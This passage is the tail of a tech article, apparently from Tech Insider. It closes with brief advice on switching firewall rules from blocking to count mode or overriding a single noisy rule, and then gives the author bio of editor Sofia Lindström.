Set enforce = false and apply, which moves every rule back to Count in about a minute. For a single noisy rule, add it to common_rule_overrides instead and keep the rest of the group blocking.

Sofia Lindström

Sofia Lindström

Editor-in-Chief

Sofia Lindström is the Editor-in-Chief at Tech Insider, where she leads editorial strategy and oversees coverage across AI, cybersecurity, and enterprise technology. With over a decade in Swedish tech journalism, she previously served as technology editor at Dagens Industri and covered the Nordic startup ecosystem for Breakit. Sofia holds an MSc in Media Technology from KTH Royal Institute of Technology and is a frequent speaker at Web Summit and Slush. She is passionate about making complex technology accessible to business leaders.

View all articles